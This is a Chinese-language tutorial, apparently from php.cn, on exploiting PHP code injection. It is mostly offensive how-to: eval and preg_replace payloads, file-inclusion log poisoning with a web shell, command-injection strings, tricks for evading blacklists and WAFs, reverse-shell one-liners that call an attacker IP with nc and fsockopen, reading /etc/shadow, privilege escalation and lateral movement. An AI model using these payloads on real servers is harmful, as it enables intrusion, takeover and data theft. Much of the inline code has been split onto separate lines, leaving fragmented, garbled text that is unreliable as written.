答案:PHP代码注入是因用户输入未严格过滤,导致恶意代码被执行的漏洞,常见于eval()、preg_replace()、文件包含等场景。攻击者可通过构造payload绕过过滤,执行系统命令或写入Web Shell,最终获取服务器控制权并进行提权、数据窃取和横向移动。

PHP代码注入,简单来说,就是攻击者通过向Web应用程序的输入点提交恶意的PHP代码,利用应用程序对这些输入处理不当,最终导致服务器执行这些恶意代码的一种漏洞。它的核心在于应用程序没有正确地过滤、验证或转义用户输入,使得本应是数据的内容被当作代码来解析和执行。一旦成功利用,攻击者几乎可以完全控制受影响的服务器,从读取敏感文件到安装后门,乃至接管整个系统。
PHP代码注入的利用方式多种多样,其本质都是找到应用程序中将用户可控数据当作PHP代码执行的函数或上下文。最直接的利用场景是当用户输入直接传递给
eval()
eval($_GET['code']);
?code=phpinfo();
phpinfo()
?code=system('ls -la');然而,现实中的情况往往更隐蔽。
preg_replace()
/e
preg_replace('/.*/e', $_GET['inject'], 'subject');?inject=phpinfo()
另一种常见的路径是文件包含漏洞(LFI)与代码注入的结合。当应用程序使用
include()
require()
立即学习“PHP免费学习笔记(深入)”;
<?php system($_GET['cmd']); ?>
/var/log/apache2/access.log
data://
php://filter
data://text/plain,<?php system('id'); ?>include()
php://input
更复杂一些的是PHP对象注入(Deserialization Vulnerability)。当应用程序对用户可控的序列化字符串进行
unserialize()
__wakeup()
__destruct()
__toString()
此外,一些命令执行函数(如
system()
exec()
shell_exec()
passthru()
;
&
|
&&
||
system("ls " . $_GET['dir']);?dir=; id
id
eval()
要找到PHP代码注入点,我们不能只盯着
eval()
eval()
preg_replace()
/e
include()
require()
include_once()
require_once()
unserialize()
create_function()
assert()
eval()
call_user_func()
call_user_func_array()
system()
exec()
shell_exec()
passthru()
popen()
proc_open()
除了代码审计,动态测试也必不可少。我会使用各种渗透测试工具或手动构造请求,对所有可能的输入点(GET参数、POST数据、HTTP头、Cookie等)进行模糊测试(fuzzing)。尝试注入简单的PHP代码片段(如
<?php phpinfo(); ?>
system('id');X-Powered-By: PHP/X.Y.Z
在实际的渗透测试中,直接注入
system('id');首先,黑名单过滤是最常见的,它会阻止一些危险的函数名或关键字。应对这种过滤,我们可以尝试:
system('id');pHpInfo();
system
'sy'.'stem'('id');eval(base64_decode('cGhwaW5mbygpOw=='));system()
passthru()
shell_exec()
exec()
`
`id`
其次,WAF通常基于规则集进行检测,它们可能会拦截包含特定模式的请求。绕过WAF则需要更灵活的策略:
?cmd=id&cmd=;
cmd
/* */
%0a
%09
Transfer-Encoding: chunked
最后,白名单过滤是最难绕过的,因为它只允许特定的安全字符或模式。在这种情况下,我们可能需要寻找逻辑漏洞,或者尝试利用白名单允许的字符来构造一个合法的、但能导致非预期行为的payload。这通常需要对应用程序的业务逻辑和代码实现有更深入的理解。
成功注入PHP代码仅仅是开始,真正的目标往往是获取对目标服务器的完全控制权。一旦我们能够执行任意PHP代码,接下来的一系列操作就变得顺理成章。
最常见的下一步是上传一个Web Shell。一个简单的Web Shell可能只是
<?php system($_GET['cmd']); ?>
shell.php
shell.php?cmd=ls -la
file_put_contents()
fwrite()
如果条件允许,获取一个反向Shell(Reverse Shell)会提供一个更稳定、更交互式的控制通道。反向Shell意味着目标服务器主动连接到攻击者的机器,建立一个命令行会话。这通常通过执行以下PHP代码来实现:
system()
exec()
nc
system('nc -e /bin/sh <攻击者IP> <端口>');nc -e
$sock=fsockopen("<攻击者IP>",<端口>);exec("/bin/sh -i <&3 >&3 2>&3");/bin/sh
获得Shell之后,我们就可以进行数据窃取,读取服务器上的敏感文件,例如:
/etc/passwd
/etc/shadow
config.php
权限提升也是一个关键环节。Web服务器通常以低权限用户运行(如
www-data
sudo -l
最后,为了保持持久性和横向移动,攻击者可能会在服务器上留下后门,修改启动脚本,或者利用当前服务器作为跳板,扫描和攻击内网中的其他机器。这些操作都是为了确保即使Web Shell被清除,也能重新获得对服务器的控制,并扩大攻击范围。整个过程是一个步步为营的链条,每一步的成功都为下一步的深入利用奠定基础。
以上就是PHP代码注入如何利用_PHP代码注入漏洞利用方法详解的详细内容,更多请关注php中文网其它相关文章!
PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号